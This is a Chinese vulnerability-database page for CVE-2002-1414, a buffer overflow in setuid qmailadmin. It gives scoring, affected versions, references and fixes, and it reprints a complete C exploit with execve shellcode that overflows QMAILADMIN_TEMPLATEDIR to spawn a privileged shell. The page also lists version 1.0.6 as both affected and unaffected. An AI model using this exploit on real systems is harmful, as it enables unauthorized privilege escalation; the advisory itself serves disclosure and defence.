CVE-2002-1414
CVSS4.6
发布时间 :2003-04-11 00:00:00
修订时间 :2016-10-17 22:26:59
NMCOES    

[原文]Buffer overflow in qmailadmin allows local users to gain privileges via a long QMAILADMIN_TEMPLATEDIR environment variable.


[CNNVD]qmailadmin处理本地环境变量缓冲区溢出漏洞(CNNVD-200304-067)

        
        qmailadmin是一款由Inter7组织开发的qmail CGI形式管理程序。
        qmailadmin在处理环境变量时对缓冲区边界缺少检查,本地攻击者可以利用这个漏洞进行缓冲区溢出攻击,以root用户的权限在系统中执行任意指令。
        qmailadmin在处理QMAILADMIN_TEMPLATEDIR环境变量时缺少正确处理,由于qmailadmin默认以suid root方式安装,本地攻击者可以提交超长字符串作为QMAILADMIN_TEMPLATEDIR环境变量值,当qmailadmin处理时产生缓冲区溢出,精心构建字符串值可以使攻击者以root用户的权限在系统中执行任意指令。
        

- CVSS (基础分值)

CVSS分值: 4.6 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:inter7:qmailadmin:1.0.4
cpe:/a:inter7:qmailadmin:1.0.3
cpe:/a:inter7:qmailadmin:1.0
cpe:/a:inter7:qmailadmin:1.0.5
cpe:/a:inter7:qmailadmin:1.0.2
cpe:/a:inter7:qmailadmin:1.0.1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1414
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-1414
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200304-067
(官方数据源) CNNVD

- 其它链接及资源

http://archives.neohapsis.com/archives/bugtraq/2002-08/0016.html
(UNKNOWN)  BUGTRAQ  20020724 Re: qmailadmin SUID buffer overflow
http://marc.info/?l=vuln-dev&m=102859603029424&w=2
(UNKNOWN)  VULN-DEV  20020806 qmailadmin SUID buffer overflow
http://www.inter7.com/qmailadmin/ChangeLog
(UNKNOWN)  CONFIRM  http://www.inter7.com/qmailadmin/ChangeLog
http://www.iss.net/security_center/static/9786.php
(UNKNOWN)  XF  qmailadmin-templatedir-bo(9786)
http://www.securityfocus.com/bid/5404
(VENDOR_ADVISORY)  BID  5404

- 漏洞信息

qmailadmin处理本地环境变量缓冲区溢出漏洞
中危 边界条件错误
2003-04-11 00:00:00 2005-05-13 00:00:00
本地  
        
        qmailadmin是一款由Inter7组织开发的qmail CGI形式管理程序。
        qmailadmin在处理环境变量时对缓冲区边界缺少检查,本地攻击者可以利用这个漏洞进行缓冲区溢出攻击,以root用户的权限在系统中执行任意指令。
        qmailadmin在处理QMAILADMIN_TEMPLATEDIR环境变量时缺少正确处理,由于qmailadmin默认以suid root方式安装,本地攻击者可以提交超长字符串作为QMAILADMIN_TEMPLATEDIR环境变量值,当qmailadmin处理时产生缓冲区溢出,精心构建字符串值可以使攻击者以root用户的权限在系统中执行任意指令。
        

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * chmod u-x /usr/local/www/cgi-bin.default/qmailadmin/qmailadmin
        厂商补丁:
        inter7
        ------
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        
        http://inter7.com/qmailadmin/

- 漏洞信息 (21683)

qmailadmin 1.0.x Local Buffer Overflow Vulnerability (EDBID:21683)
linux local
2002-08-06 Verified
0 Thomas Cannon
N/A [点击下载]
source: http://www.securityfocus.com/bid/5404/info

The qmailadmin utility, developed by Inter7, is vulnerable to a buffer overflow condition. It is meant to run as a CGI program and is typically installed setuid (owned by root on some systems, regular users on others). qmailadmin fails to implement adequate bounds checking when processing an environment variable, resulting in a buffer overrun condition. 

It is likely that this can be exploited by malicious local users to elevate privileges.

/* http://www.badc0ded.com (bug found by Thomas Cannon)
 / bash-2.05a$ ./qmailadmin-exp
 / Content-Type: text/html
 / $ id
 / uid=1000(dim) euid=89(vpopmail) gid=1000(dim) egid=89(vchkpw) groups=89(vchkpw), 1000(dim), 0(wheel)
 / $ 
*/


char shellcode[]=          /* 23 bytes                       */
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x50"                 /* pushl   %eax                   */
    "\x68""//sh"           /* pushl   $0x68732f2f            */
    "\x68""/bin"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,%ebx              */
    "\x50"                 /* pushl   %eax                   */
    "\x54"                 /* pushl   %esp                   */
    "\x53"                 /* pushl   %ebx                   */
    "\x50"                 /* pushl   %eax                   */
    "\xb0\x3b"             /* movb    $0x3b,%al              */
    "\xcd\x80"             /* int     $0x80                  */
;

main ()
{
   char buf[16000];
   int i;
   memset(buf,0,sizeof(buf));
   memset(buf,0x90,5977); 
   strcat(buf,shellcode);

   for (i=0;i<=2203;i++)
     strcat(buf,"\xd8\xef\x06\x08");   // lang_fs magic..
   strcat (buf,"\xf1\xcb\xbf\xbf");	// ret..
   setenv("QMAILADMIN_TEMPLATEDIR",buf);
   execlp("/usr/local/www/cgi-bin.default/qmailadmin/qmailadmin","qmailadmin",0);
   
   
}		

- 漏洞信息

14533
qmailadmin QMAILADMIN_TEMPLATEDIR Environment Variable Local Overflow
Local Access Required Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

A local overflow exists in qmailadmin. The CGI program fails to do proper boundary checking when processing environment variables resulting in a stack overflow. With a specially crafted request, an attacker can run arbitatry code on the server resulting in a loss of integrity.

- 时间线

2002-08-05 Unknow
2002-07-24 Unknow

- 解决方案

Upgrade to version 1.0.6 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

- 漏洞信息

qmailadmin Local Buffer Overflow Vulnerability
Boundary Condition Error 5404
No Yes
2002-08-06 12:00:00 2009-07-11 02:56:00
Discovered by Thomas Cannon <tcannon@noops.org>.

- 受影响的程序版本

Inter7 qmailadmin 1.0.5
Inter7 qmailadmin 1.0.4
Inter7 qmailadmin 1.0.3
Inter7 qmailadmin 1.0.2
Inter7 qmailadmin 1.0.1
Inter7 qmailadmin 1.0.6

- 不受影响的程序版本

Inter7 qmailadmin 1.0.6

- 漏洞讨论

The qmailadmin utility, developed by Inter7, is vulnerable to a buffer overflow condition. It is meant to run as a CGI program and is typically installed setuid (owned by root on some systems, regular users on others). qmailadmin fails to implement adequate bounds checking when processing an environment variable, resulting in a buffer overrun condition.

It is likely that this can be exploited by malicious local users to elevate privileges.

- 漏洞利用

badc0ded has provided exploit code:

- 解决方案

FreeBSD has released upgrades. Users are advised to upgrade their Ports
collection and reinstall the affected port.

This issue has been addressed in qmailadmin version 1.0.6.


Inter7 qmailadmin 1.0.1

Inter7 qmailadmin 1.0.2

Inter7 qmailadmin 1.0.3

Inter7 qmailadmin 1.0.4

Inter7 qmailadmin 1.0.5

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站